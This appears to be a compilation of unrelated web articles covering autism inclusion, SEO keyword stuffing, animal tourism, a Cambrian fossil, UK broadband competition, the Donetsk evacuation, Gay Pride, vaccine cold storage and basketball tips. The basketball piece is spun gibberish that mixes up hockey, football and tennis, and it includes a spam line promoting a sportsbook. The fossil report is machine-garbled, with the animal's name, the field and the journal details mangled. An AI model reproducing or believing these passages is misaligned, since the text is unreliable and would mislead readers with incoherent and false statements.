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Autism and Wrongful Exclusion
The recipient of the Outstanding EdD Doctoral Study Award shares three tips from her research.
For her doctoral study, The Attitudes of Regular Education Teachers Regarding Inclusion for Students With Autism, Dr. Kimberly Showalter-Barnes '09, Doctor of Education, explored how teachers can identify and help students who are being wrongfully excluded. Her research unearthed methods that can be useful for educators looking to improve their classrooms and cites proper teacher training as key to student success. Here, she shares three tips.
1. Identify the Problem
As a speech-language pathologist, Showalter-Barnes noticed a problem in her classrooms: Every student with autism was placed in special education, including those children who would have learned better within the mainstream educational structure. The varied ability of students with autism was not being taken into consideration, says Showalter-Barnes, adding, You must search out the group that is being neglected. If an aspect of your operation is being broadly categorized, consider reassessing that aspect so you can best handle the issue in question.
2. Persevere with Patience
With inclusion, every step you take is not necessarily a forward step, says Showalter-Barnes. Sometimes you take one step forward and two steps back. She recalls one student with autism who was placed in mainstream classes. After weeks of progress, he relapsed into tantrums and aggressive behavior. It might not be an easy ride, but you have to be willing to work through it.
3. Possess a Willingness to Change
Whenever there is an effort to include new members in a group, current members must be flexible. Regular education teachers might tweak their lesson plans for students with autism whose learning abilities have certain needs, such as more visual learning methods. You have to be willing to change, she says. That will take more time and more foresight on your part to plan for problems.
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Dangers of Keyword Stuffing For SEO: Whether you’re using keywords to improve your search engine rankings or just to improve user experience, there are many benefits and drawbacks to keyword stuffing. Here are a few:
Avoiding keyword stuffing
In the past, keyword stuffing was a popular way to increase search visibility, but as search engines evolved, they began to penalize this practice. However, many people still use this tactic without realizing it. Here are some examples of keyword stuffing to help you understand the problem. If you’ve used this tactic, your website may suffer. If not, read on to avoid being a victim. Also, don’t worry: Google has a detailed guide to avoiding keyword stuffing.
Keyword stuffing is a common practice of writing content that includes as many keywords as possible, resulting in lower rankings. Not only does keyword stuffing damage your ranking, but it also ruins the user experience on your site. You’ll likely lose visitors because your content is illegible, making it harder to convert them into customers. Also, keyword-packed content doesn’t read well to humans, so you might as well avoid it completely.
If you want to rank higher in Google, you should avoid keyword stuffing. Keyword stuffing has two forms – visible stuffing and invisible stuffing. Both methods deceive search engine crawlers and ruin user experience. When Google detects keyword stuffing, it devalues the authority of the page and will penalize it. Invisible stuffing may lead to page removal and demotion. If you do not follow the rules of SEO, you will face the consequences.
Besides not being visible to search engines, keyword stuffing may even be concealed. For instance, white text on a black background may make it difficult to see the keywords. This is a violation of Google’s Webmaster Guidelines and will result in a penalty. Similarly, repetition of keywords in the title, alt text and headings may be penalized. So, the best approach is to use long-tail keywords and avoid single-keyword stuffing.
Is it a black hat tactic
Is keyword stuffing for SEO a red flag? It’s not, but it is a technique that many webmasters have used without realizing it. This tactic involves using software to reword content so that it passes duplicate content detection. Another black hat technique is cloaking, which involves hiding content from the visitor so that only Google can see it. A doorway page is a good example of cloaking, as it ranks for a particular keyword, and then redirects visitors to another page. The alt-tag can also harm rankings.
Invisible keywords are another black hat tactic. Invisible keywords are keywords that don’t appear in the content. Black hat SEO sites often make the text of their content the same color as their background. This method confuses users and prevents them from finding relevant content. The use of invisible text is an option to avoid this problem, but it is not recommended. At all costs, you should avoid it.
Impact on user experience
While keyword stuffing used to be a very effective strategy, it is no longer as effective. Instead of improving the user experience, keyword stuffing reduces the quality of the content and has a negative impact on rankings. It also erodes audience loyalty and potential. Instead of using keywords to improve your search engine rankings, focus on writing natural content that meets the needs of your users. Listed below are some ways to avoid keyword stuffing.
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Last Updated: 7/20/2020 | July 20th, 2020
While I was in Sigiriya, Sri Lanka, eating kottu (a traditional spicy stir-fry of shredded roti bread with vegetables and chicken), I noticed a scene outside the restaurant that I’ve witnessed too many times before: tourists riding an elephant. I sighed in despair. That animal they were so happily riding was mostly likely abused – and they either had no idea or they simply didn’t care.
I understand their desire to ride that elephant.
Most people love animals.
We all love seeing and interacting with animals when we travel. It feels exotic.
I mean, who wouldn’t want to be that close to so many beautiful creatures? Animals are cute and (mostly) furry.
But I have some bad news: almost all animal-based tourism in the world is abusive and detrimental to the animals.
Animals are typically kept in horrible conditions and trained and managed by inexperienced staff. These aren’t scientific research centers you are visiting. The places you visit exist for your entertainment and money — not for the animal’s welfare.
Now, I’m no saint. I’ve done bad things in the past. I’ve ridden elephants, been to the tiger temple, visited Seaworld, and swam with dolphins. I’ve been guilty of patronizing the same places I am now telling you to avoid.
But the longer I work in the travel industry and the more learn about animal tourism, the more I’ve come to realize just how messed up, flawed, and abusive it is. If I knew then what I knew now, I would have never done those activities.
Chances are you’re like me and see these activities and think “Animals! Yay!”
There’s a false belief that these activities must have some regulations and are safe for animals. I mean that’s what I thought. I didn’t know what I didn’t know.
But that is not the case at all.
By visiting these institutions, we unintentionally become party to the system and perpetuate the cycle of abuse.
We don’t do it because we’re bad people. It’s simply ignorance of conditions that keeps us from changing the system.
I know we all want to believe that the place we’ve chosen to visit is harmless. We’ve done some research and read some positives reviews that said how kind and helpful the staff was to the animals. It looked safe.
But who would admit to animal abuse? Who would leave put that in the open?
All of it is hidden from view.
No organization is going to say, “Yeah, we starve the elephants. Come on in!”
Elephants are expensive to keep and, when saddled with debt, many trainers simply push their elephants to their limits in order to make as much money as possible. And, while the trainers may have their hearts in the right place, in many developing countries these aren’t professionally trained staff or biologists — they are poor, underskilled workers who are just trying to make money to feed their family.
Look at the elephant who killed someone in Ko Samui. He was working in unbearable heat and shouldn’t have been carrying riders, but the trainer was a poor Burmese immigrant who was in Thailand just trying to feed his family.
If you look at the trainers interviewed in The Cove or Blackfish, you see the same thing: trainers with good intentions but also a boss or corporation focused on profits instead of animal welfare.
For years, animal rights and environmental groups railed against the Tiger Temple in Thailand. Journalists reported abuses. Yet tourists didn’t believe the news and still flocked to the temple. “They’re monks. How could they hurt the tigers?”
Yet, after outside pressure grew too great, the government raided the temple and — shocker! — found a host of abused and dead tigers, and evidence of illegal breeding and animal smuggling. But even though this tiger temple proved to be involved in the illegal animal trade, visits to other tiger temples haven’t stopped.
The truth is there is a lot of animal abuse in the travel industry.
And it should be avoided. The chance of error is far too great. The problem is more widespread than you think.
Elephant rides, tiger temples, lion walks, monkey shows, orangutan fights (yes, that really exists), dolphinariums, Seaworld, circuses — anything where the animal is there exclusively for your entertainment should be avoided!
Consider the smell test for any animal exhibit: if it seems like this shouldn’t exist or you find it weird that such a large animal would be so docile, something is probably not right and you shouldn’t be supporting such practices with your money.
We can still get that memorable moment with an animal while making sure we are doing good.
Take elephant riding in Thailand. It’s been popular for decades and is still a big draw for tourists, but places like Elephant Nature Park are changing the system by providing a sanctuary for abused elephants, promoting education for visitors, and allowing tourists to experience the elephants in an unharmful way.
And, seeing how much money Elephant Nature Park is making, other training parks are slowly beginning to change how they do things, working with Elephant Nature Park to adopt less harmful practices.
That’s not to say this change is widespread, but since it’s money that perpetuates the system, the more people vote with their dollars, the more animal parks will change their policies. Elephant Nature Park wouldn’t exist without tourists visiting, and other parks wouldn’t be taking notice if it weren’t for the popularity of their practices.
It is important we do our due diligence and vote with our dollars to support organizations that are doing right by animals.
If we stand together and say “we want something else,” we can make it happen. The tiger temple was finally shut down, Seaworld has agreed to stop its captive breeding program, and places similar to the Elephant Nature Park are proliferating all over Southeast Asia.
These changes have come about because of public outcry and changed consumer behavior that affects what businesses care most about: their bottom line.
It’s about education. If we as travelers learn about these conditions beforehand, if we talk about them more, we can make a change.
Thankfully, there are a number of online resources and groups out there that can help you find ethical animal experiences:
- Is Walking with Lions Good Conservation? Probably Not
- Save Elephant
- Do’s and Don’ts of Animal Tourism in South Africa
- Born Free Foundation
- International Fund for Animal Welfare
- World Animal Protection
I know you want to see or commune with some animals when you travel and there’s nothing wrong with that – let’s just do it in a responsible way. Let’s create positive animal experiences that reward conservation and education, not exploitation.
After all, don’t you want to come back one day and share with your friends or family the beautiful experience you had? The best way to pass the experience on to others is to ensure that the animals survive and thrive.
How to Travel the World on $50 a Day
My New York Times best-selling paperback guide to world travel will teach you how to master the art of travel so that you’ll get off the beaten path, save money, and have a deeper travel experience. It’s your A to Z planning guide that the BBC called the “bible for budget travelers.”
Book Your Trip: Logistical Tips and Tricks
Book Your Flight
Find a cheap flight by using Skyscanner. It’s my favorite search engine because it searches websites and airlines around the globe so you always know no stone is left unturned.
Book Your Accommodation
You can book your hostel with Hostelworld. If you want to stay somewhere other than a hostel, use Booking.com as they consistently return the cheapest rates for guesthouses and hotels.
Don’t Forget Travel Insurance
Travel insurance will protect you against illness, injury, theft, and cancellations. It’s comprehensive protection in case anything goes wrong. I never go on a trip without it as I’ve had to use it many times in the past. My favorite companies that offer the best service and value are:
- SafetyWing (best for everyone)
- Insure My Trip (for those over 70)
- Medjet (for additional evacuation coverage)
Ready to Book Your Trip?
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An ancient three-eyed predator reveals key information about the evolution of the body plan of arthropods.
New research is based on a cache of fossils containing the brain and nervous system of a half-billion-year-old marine predator from the Burgess Shale called Stanley Karis Unveiled by the Royal Ontario Museum (ROM). It belongs to an ancient, extinct branch of the arthropod evolutionary tree called Radiodonta, Stanley Karis It is closely related to modern insects and spiders. These findings shed light on arthropod brain development, vision, and head structure.
“The details are so clear it’s like we’re looking at an animal that died yesterday.”
– Joseph Moiseuk
The results were announced in the research paper, “Three-eye radiographs with fossil neuroanatomy inform arthropod head origin and segmentation,” published July 5, 2022, in the journal Science. current biology.
What interests scientists the most is what’s inside Stanley Karis‘ head. The remains of the brain and nerves are still preserved after 506 million years in 84 fossils.
“While fossilized brains from the Cambrian period are not new, this discovery stands out for the amazing quality of preservation and the large number of specimens,” said Joseph Moisiuk, lead author of the research and University of Toronto (U of T). PhD candidate in Ecology and Evolutionary Biology, at the Royal Ontario Museum. “We can even provide fine details such as the visual processing centers that serve the large eyes and traces of nerves entering the appendages. The details are so clear as if we were looking at an animal that died yesterday.”
Turntable animation of Stanleycaris hirpex, including transparency to show internal organs. Credit: Animation by Sabrina Cappelli © Royal Ontario Museum
New fossils reveal that the brain Stanley Karis It consisted of two parts, the protocerebrum, attached to the eyes, and the deutocerebrum, attached to the front claws.
“We conclude that the two-part head and brain have deep roots in the arthropod lineage and that its evolution likely preceded the three-section brain that characterizes all living organs in this diverse animal phylum,” Moiseuk added.
In present-day arthropods such as insects, the brain consists of protocerebrum, deutocerebrum, and tritocerebrum. While the difference in the clip may not seem like a game-changer, it actually has drastic scientific implications. Because repetitive copies of many arthropod members can be found in their segmented bodies, knowing how the parts lined up between different species is key to understanding how these structures varied across the group.
“Like the Rosetta Stone, these fossils help link traits in radiators and other early arthropods with their counterparts in surviving groups.”
Plus a pair of stalking eyes, Stanley Karis He possesses a large central eye in the front of his head, a feature not previously observed in radiology. Having a huge third eye in Stanley Karis It was unexpected. It confirms that these animals looked more exotic than we thought, but also shows us that the earliest arthropods actually evolved as diverse as many complex visual systems as many of their modern relatives,” said Dr. Jean-Bernard Caron, Richard Ivey of ROM. Curator of Invertebrate Paleontology. and Moysiuk’s PhD supervisor. Karon, who is also an associate professor at U of T, added, in ecology, evolution and earth sciences.
In the Cambrian period, Radiodonts included some of the largest animals found around, with their famous “strange wonders” anomalocaris It reaches a length of at least one meter. with a length of not more than 20 cm, Stanley Karis It was small for its range, but at a time when most animals were no larger than a human finger, it would have been an impressive predator. Stanley KarisWell-developed sensory and nervous systems would have enabled them to select small prey efficiently in the dark.
With large compound eyes, a wonderful-looking round mouth lined with teeth, front claws with an impressive set of spines, and a flexible body divided by a series of flaps swimming on either side, Stanley Karis It would have been the stuff of nightmares for any little inhabitant at the bottom unlucky enough to cross his path.
About Burgess Shell
For this research, Moysiuk and Caron studied a previously unpublished set of 268 samples of Stanley Karis. Fossils were collected primarily in the 1980s and 1990s from layers of rock above the famous Walcott Quarry site in the Burgess Shale in Yoho National Park, British Columbia, Canada, and are part of the extensive collection of Burgess Shale fossils found in ROM.
Burgess Shale fossil sites are located within Yoho and Kootenay National Parks and are managed by Parks Canada. Parks Canada is proud to work with leading scientific researchers to expand knowledge and understanding of this key period in Earth’s history and to share these sites with the world through award-winning walking tours. The Burgess Shale was designated a UNESCO World Heritage Site in 1980 due to its outstanding universal value and is now part of the largest World Heritage Site for the parks of the Canadian Rockies.
fossils Stanley Karis It can be seen by the audience in the new Burgess Shale fossil show at Wellner Madge Gallery, Dawn of Life in ROM.
Reference: “Tri-ocular radiation with fossilized neuroanatomy tells of arthropod head origin and segmentation” by Joseph Moisiuk and Jean-Bernard Caron, July 8, 2022, current biology.
DOI: 10.1016 / j.cub.2022.06.027
Major research funding support came from the National Council for Scientific and Engineering Research in Canada, through the Vanier Canada Graduate Grant to Moysiuk and the Discovery Grant (No. 341944) to Caron.
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Beneath the streets of the UK, a billion pound race is unfolding. In many cities, at least three companies are digging to lay broadband fiber optic cables targeting all the same households, with some areas expected to have six or seven such lines by the end of the decade.
But only some of them will cross the finish line.
Encouraged by incumbent telecommunications group BT which is dragging its feet on upgrading old copper lines to fiber optic technology, dozens of smaller alternative networks – or “altnets” – have sprung up over the course of the decade. decade with the aim of laying the fiber as quickly as possible.
Their bet, shared by some of the biggest names in private equity, is that the very high speed they offer will allow them to poach frustrated customers. More than 50 altnets of varying sizes and ambitions have secured around £15 billion from private investors and banks, including KKR, Macquarie, Warburg Pincus, Goldman Sachs and Antin Infrastructure Partners.
The question now is how this market will finally shake up, and which of these companies will be able to get enough customers to stay afloat.
When the dust settles, will there only be two network operators – with Openreach and Virgin Media O2 dominating the landscape – or is there room for a shiny challenger with a sizable market share? stolen from incumbents?
“A lot of these business models were created assuming that if there was an altnet out there, Openreach wouldn’t overbuild them,” said James Barford, analyst at Enders Analysis. “It turned out to be wrong.”
For their business models to be economically viable, each of the altnets needs to capture around 40% market share in the locations they carve out, according to industry estimates, either by directly selling broadband contracts to consumers or by selling them wholesale to internet service providers such as Vodafone, TalkTalk and Sky.
No altnet has made a steady profit yet, although the biggest – CityFibre – says it will by next year.
“If you add up all the activity – all the planned activity – few of these companies will make enough money to survive. That’s just not possible,” said Philip Jansen, chief executive of BT.
The glaring challenge is that BT’s network division, Openreach, has rapidly accelerated its fiber build, moving much faster than most of these opportunistic companies had expected.
Meanwhile, rising interest rates and energy and labor prices, caused in part by Russia’s offensive in Ukraine, have changed cost forecasts for many of these groups. , which already suffer heavy annual losses.
Openreach is spending around £12bn to reach 25m homes by the end of 2026 and believe it could realistically reach 97% of UK premises by 2030. Virgin Media O2 has committed £2bn sterling to upgrade its copper network to a hybrid fibre-copper offering for around 15.5 million premises by 2028, and is seeking a joint venture to build all-fiber lines for an additional 7 million dwellings .
Their customers can also be quite “sticky” – reluctant to switch providers unless they have deep discounts or much better service.
Goldman Sachs analyst Andrew Lee said last year he had been “nervous about the risk of overbuilding for BT”, but now the war in Ukraine is creating new pressure. “Some of these guys are running with their shoelaces tied because of supply and labor bottlenecks,” he added, noting that rising costs were altering long-term returns. term that altnets could offer their investors.
Compounding these issues, carriers are also facing a global shortage of fiber optic cables, with lead times and prices increasing dramatically in recent months.
The price of fiber per kilometer of cable has increased by 25% due to rising raw material and logistics costs, according to Ankit Agarwal, managing director of STL, Britain’s largest fiber supplier.
“Logically, you want to give your best terms and delivery times to your biggest customers,” he said. “We prioritize BT and Virgin Media.”
But not all industry insiders and investors are so skeptical of the challengers’ prospects.
UK altnets have now surpassed a total of 5.5 million premises with fiber broadband, compared to 7.6 million for Openreach and around 2 million for Virgin Media O2. They have doubled their build speed year on year and now have more than a million customers, according to the latest report from the independent networking industry association and analyst firm Point Topic.
At first glance, there is little evidence that investments from private equity, banks and investors are coming to an end.
This month CityFibre secured £4.9bn in debt financing from a consortium of banks, while in May a new company called Freedom Fiber was promised £100m by infrastructure investors Equitix and Santander.
However, a major altnet investor admitted that “the money is flowing, but less than it was”.
“There is a flight to quality now,” they added, pointing to the fact that some recent capital raises have “struggled quite a bit.”
Companies with attractive business, the bulls claim, are those that have selected locations that other players have yet to reach, that build quickly and cheaply, and that are able to offer competitive prices to customers. .
As Ollie Perry, a partner at consultancy Oliver Wyman, said, “If I was the CEO of the company that’s the sixth superbuilder, I don’t think I’d be in the job for very long.
He added: “There is absolutely room for different operators – there is no room for multiple operators logging into the same building.”
Several industry insiders cite KKR-backed Hyperoptic as an example of a strong business model. The company targets high-density areas of apartment buildings, where it can reach more customers at lower cost, and has now reached 1 million homes and signed up 230,000 customers – more than any other altnet.
Meanwhile, Community Fibre, a London altnet, has signed a wholesale deal with TalkTalk across the capital, according to two people briefed on the deal. G.Network, on the other hand, has surpassed 400,000 households and signed up 55,000 customers, a 12.5% participation rate to date.
Despite some successes, it is widely predicted that many small businesses will go bankrupt or be taken over by competitors, as cable companies were in the 1990s. The first victim was People’s Fibre, a company on the Welsh border, which was placed under conservatorship at the end of last year.
In a sign of the appetite for consolidation, Community Fiber has been approached by several companies interested in acquiring or merging with the company, including CityFibre, Hyperoptic and G.Network, according to people briefed on the discussions.
Greg Mesch, chief executive of CityFibre, said he “deeply believes” there will eventually be a third national network, which he says would also be healthier for the UK.
“When you have a duopoly, they stop investing,” he said. “When you have a challenger, they have to do two things to survive: they have to have a better product and they have to have a better economy.”
Dana Tobak, CEO of Hyperoptic, said his team is still thinking about a wide range of future scenarios, including whether to become a bigger internet service provider, buy other altnets or sell the company altogether – but for now, there was too much “illogical money” flooding the industry to determine which companies will actually survive.
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The Cabinet of Ministers of Ukraine will introduce mandatory evacuation of residents of non-occupied areas of the Donetsk region before the start of the heating season. The region is now on the verge of a humanitarian catastrophe; active hostilities continue there, and the infrastructure is destroyed. Deputy Prime Minister, Minister for Reintegration of the Temporarily Occupied Territories Iryna Vereshchuk said this on the air of the national telethon.
“The Donetsk region is without gas supply. All the gas pipelines that could be repaired have been repaired, but, unfortunately, the enemy destroys, again and again, everything that would help to warm people in winter. In short, there will be no heat in the Donetsk region in the winter period. According to Article 33 of the Code on civil protection of the population, the evacuation is obligatory. I believe that this is the duty of every adult family member,” the Deputy Prime Minister said.
Evacuation issues are handled through coordination headquarters specially created at the state level. If someone does not want to leave, he or she will be forced to sign a refusal form, understanding all the consequences and taking responsibility for his or her life.
According to Vereshchuk, there are 52,000 children in the Donetsk region; they cannot be in mortal danger in winter without heat, electricity, a regular supply of medicine, and food.
President of Ukraine Volodymyr Zelensky in his address called on residents of the Donetsk region to evacuate.
“Many people refuse to leave. This decision will still have to be made. And the sooner this is done, the more people leave the Donetsk region now, the fewer people the Russian army will have time to kill … There is a government decision on mandatory evacuation from the Donetsk region; everything is being organised. Full support, full assistance – both logistics and payments. All that is needed is a decision from the people, who have not yet made it. Go, and we will help you,” the Head of State said.
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Imran Khan’s failure exposes Pakistan’s military problem
Pakistan’s governments have always been dominated by the military, including Imran Khan's, but there is hope for change, argues University of Melbourne expert
Why do anti-corruption campaigns fail in Pakistan?
A University of Melbourne expert says to understand why anti-corruption campaigns fail in Pakistan, we must understand kinship and the impact of military rule.
Why health needs to engage the guys with guns
A University of Melbourne expert has called on the health sector to step up engagement with armed forces to stem disease outbreaks and other health challenges.
Comedy in the trenches
Trench journals provided a much-needed outlet for soldiers in WW1 and the French and Australian publications were similar, says a University of Melbourne expert
Remembrance Day: Updating an incomplete record
A century after WWI, service personnel records are still being updated. This Remembrance Day, the University of Melbourne adds new names to its war history.
Protest and democracy in Asia
Western-style protests in Asia like those on the Japanese island Okinawa are an example of growing civil society dynamism, says a University of Melbourne expert
From laundry to weapon disposal: The role of enzyme mimics
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This is the time of year when LGBT communities around the world celebrate
Gay Pride. The UK Pride season is back in a big way for 2022 as we celebrate 50 years of Gay Pride in the UK.
There are more than 160 Pride events around the country and OutUK has a full listing of all the upcoming UK Pride Events.
The June/July period, has always been chosen to honour the Stonewall Riots
that occurred in 1969 in New York. It was the first time gay people fought back physically against police
harassment and entrapment. The riots involved 300 gay men, lesbians, and drag queens.
This historic event sparked the modern LGBT equality movement throughout the world,
bringing LGBT people together like never before.
Gay rights have certainly moved forward in many countries around the world since 28th June 1969, but certainly not in all, so OutUK
correspondent Josh Aterovis has been wondering what it all means more than half a century on from those Stonewall Riots.
Chances are you won't be hearing any proclamations or statements in honour of Pride
from many church leaders. However, you probably will hear someone saying that a celebration of Gay Pride
is a passé concept. That it's silly to be proud of being gay because it's
like being proud to have brown eyes - it's something you have no control over. Maybe
you've even said or thought the same thing yourself. Now I'm the first to insist that
everyone has the right to their own opinions, but I don't necessarily agree with that idea.
I understand the concept that we should be proud of who we are rather than what we
are. Unfortunately, not everyone is able to do that right away.
I think it's great when people are secure enough to simply be proud of accepting themselves, but I
do think "Gay Pride" has its place - especially for young gay kids or people
first coming out. It's a need of many oppressed minorities -
the events of the past year with Black Lives Matter shows that only too well.
The current controversy with members of the England Football Team who have pledged to continue to
"take the knee" before each match in the Euros, demonstrates the reason why they need to. The
sort of fan who will boo and hiss at them, is exactly the sort of fan who needs to be better educated
about equality and treating all others with respect. Footballers have a obligation to entertain and delight
and fans have an obligation to support their team without demeaning or abusing any of the players on the pitch.
BLM and Pride both take communities that have been oppressed or demeaned and makes them something
worthwhile and powerful. It's easier to accept being black or gay if you are no longer made to feel
that you are somehow a second class citizen.
When I was first coming out, I wore rainbow Pride necklaces all the time. I never
left home without one. I grew up in an extremely conservative religious family, never
knowing a single openly gay person. For me, as it is for many from rural areas or
religious upbringings, being gay wasn't something to be proud of. These necklaces
were a physical link to a community to which I didn't feel I fully belonged yet.
I wanted to belong, but I was still searching for my own individual identity, which at the time
was almost consumed by the fact that I was gay.
Wearing that necklace, that symbol
of Pride, of belonging, allowed me to be proud of something I was still coming to
terms with. It helped me to be proud of what I was: a gay man.
As I became more comfortable with who I was, I found I didn't need to constantly
announce the fact that I was gay. Being gay no longer defined me as a person. It
was merely a part of my sum total. My pride shifted from what I was to who I was -
but I needed that first step. I had to accept being gay before I could become a whole person.
That's why I think Gay Pride is still extremely important - maybe now more than ever.
The LGBT community is under constant attack in the USA even though we've won the recent equal rights
appeal at the Supreme Court. A vocal minority of people who claim to be religious are frequently
misquoting scriptures to spread hatred and fear.
We've gained visibility, but with visibility comes increased attention. Homophobic attacks still take place
in our cities, with some of them resulting in severe injury or death.
There is an abundance of negative
information floating around out there these days, so what messages are gay kids receiving?
If they're relying on the mainstream media, the messages are coming through loud and clear.
Sexual orientation is excluded from equal opportunities legislation in many countries, so
gay people do not deserve the same rights as others. Gay families are less valid than
"traditional families." It's okay to discriminate against minorities. Hate is
acceptable when it's targeted at those without rights.|
We need to counter those messages with the truth, and one of the ways we can do that is through Pride.
Imagine, for a minute, a young gay child. Maybe he doesn't even know he's gay yet, or
maybe he's just starting to realize his attraction for other boys. Maybe he only
understands that he is different. He's being inundated with negative information on a
daily basis: from school, from church, and maybe even from his
parents. Where are the positive messages?
The Right would like us to live in shame, fear, and silence. Pride celebrations
defy them in a powerful and positive way. By making ourselves visible and celebrating
who we are, we're sending a clear message to both our critics and impressionable minds.
We're here, we're queer, and we're not going anywhere!
To me, Gay Pride is less about those of us who are already out and more about
those who have yet to make that step. It's a powerful statement, but the best part is,
we come together to make it! Without our Gay Pride events this year it's going to be more difficult
but you don't have to be a part of a large celebration to do it.
You can make a statement right where you are, about who you are.
American author Richard D. Mohr, writer of
The Long Arc
of Justice: Lesbian and Gay Marriage, Equality, and Rights, relates this story in
his book. "The town I live in is girded by cornfields. It's
nowhere near large enough to support a Gay Pride parade during that last weekend in June.
That's the time when, in normal times, many cities across America commemorate with parades the so-called Stonewall Riots
that launched the modern lesbian and gay rights movement in 1969. Our town's gay men
and lesbians do something more radical and more ordinary than that. We have
a gay contingent in the town's all-American Fourth of July parade. The parade
draws in crowds from all of the county and much of the rest of east-central
Illinois. Last year, a purple parade banner streamed by the crowds reading
'Lesbian and Gay Pride.' I saw a little girl, maybe five, lean over to her
father and ask, 'Daddy, what does Pride mean?' Apparently she already knew what
lesbian and gay meant."
Whether you do it in the city or in the country, as
part of a large celebration or a small act of defiance, get out there and show
your Pride! It's important.
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Recently, the WHO announced that the global goal to vaccinate 70% of every country’s population would not be reached, with only 58 countries hitting the target. The Economic and Social Council (ECOSOC) President Kelapile said: “people need solidarity, goodwill, and the awareness that this is a pandemic on a global scale to hit the target. All of people must act together and support each other”.
Egypt is the first African country that cooperates with China in manufacturing COVID-19 vaccines. To help Egypt reach the 70% target as soon as possible and build a “Great Wall of Health” for the Egyptian people, Sinovac has been assisting the country in building a fully automated cold storage warehouse that can store 150 million doses of vaccines. Upon completion, the facility will become the largest vaccine storage center in Egypt and even the entire African region.
This time, Haier Biomedical is mainly responsible for the complete cold chain monitoring system of the vaccine cold room, which achieves remote temperature real-time monitoring, automatic recording, and detection of temperature status, and alarms in real time. In addition, the staff can monitor the storage status of the vaccines in real time in the control room, and an alarm will be raised once the temperature of the refrigerator room deviates, so that the staff can solve the problem as soon as possible and ensure the safety of the vaccine. This is another breakthrough of Haier Biomedical in international projects.
What Features for the monitoring system?
• The only vaccine temperature monitoring system in China that has obtained WHO/PQS certification, and supports network operation in 180 countries around the world.
• Automatic operation and automatic network connecting system, no need for user to install on site.
• Support global SMS, telephone and email alarm; Automatically generate equipment operation report to designated personnel.
• With CE certificate.
• The physical address of the server is in Europe; Low delay of data communication; 5-year data backup.
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The day an Astronaut came to our class
by Lucy Coyle
On Monday the 4th of November, Bob Thirsk, a Canadian astronaut, came to visit 6th Class. He was in Newport to present Chloe with her award for the Mayo Dark Skies logo competition.
While Bob was here, he told us some facts about space. He said that when you're in space you grow 3cm taller. He also told our class that in space they only had freeze dried food and that meant when they wanted food, they had to add water, so it was like liquid.
He mentioned that while in space your bones get weaker and your heart gets smaller so it;s like staying in bed for 6 months. Bob said he had to exercise for 2 hours each day.
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The game of hockey provides a wonderful method to remain in good physical shape plus serves as one of the most widely used spectator sports all around. But, to completely obtain the type of advantages of baseball that you desire, a major of education is at get. Keep reading to gain some wonderful hockey recommendations and suggestions.
One of several toughest expertise to learn in basketball is how you can unwind when taking pictures. Concentrating on the rear of the edge or where you want the soccer ball hitting in the backboard are best ways to process this. It may possibly appear peculiar learning to chill out, nevertheless the far more you are doing it, the higher prepared you will end up arrive game time.
Training finding goes by often. You should process getting errant moves, in addition to completely accomplished versions. Once the game has been enjoyed, passes might not be as excellent as we’d like. Be described as a much better teammate by expecting a bad pass to ensure it doesn’t end up in the competitors hands.
Focus on mobility. Flexibility is vital while in football. This is because you might need to stretch out to grab a ball that is incorporated in the oxygen. Furthermore, elevated versatility aids protect your muscles and bones from the damage induced within this fast actively playing activity. Do mobility exercise routines usually and also stretch out prior to starting any online game.
You can enhance your moving abilities by training an easy drill in which dribbling is forbidden. It is actually difficult to enjoy when not dribbling, yet your precision will definitely inprove. Disappointment is surely an problem in the beginning, but moving will increase as time goes by.
Watch out for picking up improper habits from street football video games. Road game titles are often rougher and flashier than staff hockey. It’s a game to impress by means of individual showmanship, not out of your job as an element of a greater group. For that reason, you may take an unacceptable capabilities for the dinner table if you basic your team perform about what you’ve acquired from streets video games. Bear in mind, you are component of one thing greater than just you.
Figure out how to dribble and successfully pass involving the hip and legs in case you are simply being guarded quite tightly. To practice, basically bounce the hockey between thighs and legs when stepping sometimes forwards or in reverse. This system can actually chuck away from defenders.
3 ideas certainly are a really appealing part of a football game. In the event you loved this information and you would love to receive more info regarding 스포츠 북 generously visit our own web page. A good way to achieve making more 3-ideas is to use a drill the place you begin 5 various ft . out of the goal. As soon as you success a internet photo after that, shift back again a number of ft . until you struck another web picture. You continue shifting again right up until you’re about the three level range, as well as you have to be exercising for conditioning functions at the same time.
Create an obstacle study course with recliners or pylons and after that dribble close to them. This will help learn to travel adversaries and keep charge of the tennis ball. As you become better, make certain your back is to the barrier along the way by to safeguard the tennis ball from using it.
To ensure that you shield your legs when you engage in hockey, dress in shoes that are a bit higher close to them and lace them up. Should you enjoy in reduced footwear, it is very very easy to convert your leg. Greater footwear help you stay on the legal court taking part in for a longer time.
Never try and report the point at the fee for shutting other athletes out. You will be part of a group meaning most people are highly valued. It means cooperating and in some cases taking part in a small component in an additional player’s successful chance. Remember that the team can’t succeed in case you are the only person to make photographs.
To generate consistency with layups, jump in the opposite foot from the hands you utilize to capture. So, your remaining foot needs to be the one you practice away from from when you use your right-hand to snap. This can help you stay balanced and moving to the basket.
If you wish boost your cost-free tosses, you have to develop a regimen. If you’re constant, your shots will likely be also. The simplest way to improve at snapping shots cost-free throws is by constant repeating motions when snapping shots the golf ball. When your regimen is away from, then you certainly will skip the photo.
In relation to producing the picture, the secret is to hold the tennis ball the correct way. Process helps make best, so keep both your hands like they may be claws and area out your hands and fingers. Retain the soccer ball with your hands, not your palm. Retain the ball with your palm whilst watching television to construct the muscles.
Strike a fitness center and do arm curls throughout your exercise routine. Weighted arm curls will assist create the durability and suppleness of the biceps and triceps. This helps to boost moving range, and also shooting extended distance. The forearms also make use of curls by enabling you to greater control and use the soccer ball.
You are unable to stand within the net in a fixed manner if you would like capture a come back. The location where the tennis ball will find yourself alterations since the player with thing techniques, which means your situation also should be in flux. Continuously readjust therefore you happen to be in the right spot to get the soccer ball.
Don’t turn up your teammates. Bear in mind basketball is a staff sport activity. When you invest some time converting your crew towards you, you’ll realize that your prospects about the judge will swiftly dried out up. Shortly you might even be biking the bench. This really is a crew online game that can take trust, so do your greatest to make it.
A somewhat away-middle photo usually winds up getting the edge in the basket, that causes it to merely drop off of the aspect. If you notice this occurring, you will be aware specifically where to be as soon as the photo is skipped to help you have the come back and turn it into a basket.
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MST is an intensive family and community-based treatment program that addresses all environments that impact high risk youth – homes and families, schools and teachers, neighborhoods and friends.
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Brian Mast to Army Corps: Come swim in St. Lucie River's toxic algae from lake discharges
U.S. Rep. Brian Mast has invited the Army Corps of Engineers to swim in the St. Lucie River's "increasingly toxic water."
The Palm City Republican called for Lake Okeechobee discharges east to the St. Lucie River and west to the Caloosahatchee River to end immediately, he wrote in a letter Thursday to Lt. Gen. Todd T. Semonite, the Corps' commanding general.
